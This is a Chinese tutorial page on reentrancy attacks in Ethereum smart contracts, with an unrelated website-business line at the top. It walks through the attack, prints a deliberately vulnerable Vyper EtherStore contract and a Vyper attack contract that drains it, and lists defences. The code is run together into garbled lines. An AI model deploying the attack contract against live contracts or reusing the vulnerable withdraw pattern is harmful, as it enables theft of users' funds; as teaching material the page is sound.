做軟裝什么網(wǎng)站可以嗎建什么網(wǎng)站可以長(zhǎng)期盈利
什么是重入攻擊
Reentrancy攻擊是以太坊智能合約中最具破壞性的攻擊之一。當(dāng)一個(gè)函數(shù)對(duì)另一個(gè)不可信合約進(jìn)行外部調(diào)用時(shí),就會(huì)發(fā)生重入攻擊。然后,不可信合約會(huì)遞歸調(diào)用原始函數(shù),試圖耗盡資金。
當(dāng)合約在發(fā)送資金之前未能更新其狀態(tài)時(shí),攻擊者可以不斷調(diào)用提取函數(shù)以耗盡合約資金。一個(gè)著名的真實(shí)世界重入攻擊案例是DAO攻擊,導(dǎo)致?lián)p失了6000萬(wàn)美元。
重入攻擊工作原理
重入攻擊涉及兩個(gè)智能合約。一個(gè)是易受攻擊的合約,另一個(gè)是攻擊者的不可信合約。
重入攻擊場(chǎng)景
- 易受攻擊的智能合約有10個(gè)ETH。
- 攻擊者使用存款函數(shù)存入1個(gè)ETH。
- 攻擊者調(diào)用提取函數(shù),并將惡意合約作為接收者。
- 現(xiàn)在提取函數(shù)將驗(yàn)證它是否可以執(zhí)行:
- 攻擊者在其余額上有1個(gè)ETH嗎?是的,因?yàn)樗麄兊拇婵睢?/li>
- 向惡意合約轉(zhuǎn)移1個(gè)ETH。(注意:攻擊者的余額尚未更新)
- 惡意合約接收到ETH后的回退函數(shù)再次調(diào)用提取函數(shù)。
現(xiàn)在提取函數(shù)將再次驗(yàn)證它是否可以執(zhí)行:
- 攻擊者在其余額上有1個(gè)ETH嗎?是的,因?yàn)橛囝~尚未更新。
- 向惡意合約轉(zhuǎn)移1個(gè)ETH。
- 如此反復(fù),直到攻擊者耗盡合約中的所有資金。
Vyper重入攻擊
可能大家對(duì)solidity的智能合約重入攻擊比較熟悉,本次文章中,我們將以Vyper的代碼展示重入攻擊的漏洞。
Vyper存在重入攻擊的代碼示例
# @version >=0.3.2"""
@notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.
This contract is vulnerable to re-entrancy attack. Here is the attack flow:
1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.
2. Deploy the Attack contract.
3. Call the Attack contract's attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
"""# @notice Mapping from address to ETH balance held in the contract
balances: public(HashMap[address, uint256])# @notice Function to deposit ETH into the contract
@external
@payable
def deposit():self.balances[msg.sender] += msg.value# @notice Function to withdraw the ETH deposited into the contract
@external
def withdraw():bal: uint256 = self.balances[msg.sender]assert bal > 0, "This account does not have a balance"# @dev Send the user's balance to them using raw callraw_call(msg.sender, b'', value=bal)# @dev Set user's balance to 0self.balances[msg.sender] = 0# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance
Vyper利用上述重入漏洞的攻擊合約
# @version >=0.3.2"""
@notice Here is the order of function calls during the attack
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.ldefault (receives 1 Ether)
"""# @notice Interface with the Etherstore contract
interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() -> uint256: view# @notice The address where the Etherstore contract is deployed
victim: public(address)# @notice Set the victim address
@external
def setVictim(_victim:address):self.victim = _victim# @notice Default is called when EtherStore sends ETH to this contract.
@external
@payable
def __default__():# @dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() >= as_wei_value(1, "ether"):IEtherstore(self.victim).withdraw()@external
@payable
def attack():assert msg.value >= as_wei_value(1, "ether"), "Must send 1 ETH"IEtherstore(self.victim).deposit(value=as_wei_value(1, "ether"))IEtherstore(self.victim).withdraw()# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance
Vyper重入漏洞防御措施
-
使用
send()
代替call()
:重入攻擊將失敗,因?yàn)?send()
不會(huì)轉(zhuǎn)發(fā)足夠的 gas 進(jìn)行下一步操作。 -
使用
@nonreentrant(<key>)
修飾符:在你的提取函數(shù)上應(yīng)用此修飾符將阻止重入攻擊。
總結(jié)
在這篇文章中,我們探討了Vyper智能合約中重入攻擊的機(jī)制、案例以及防御方法。重入攻擊是一種嚴(yán)重的安全威脅,當(dāng)合約在發(fā)送資金之前未能更新其狀態(tài)時(shí),攻擊者可以通過(guò)遞歸調(diào)用提取函數(shù)來(lái)耗盡合約資金。重入攻擊不僅僅在solidity中很常見(jiàn),在Vyper智能合約中同樣應(yīng)該注意!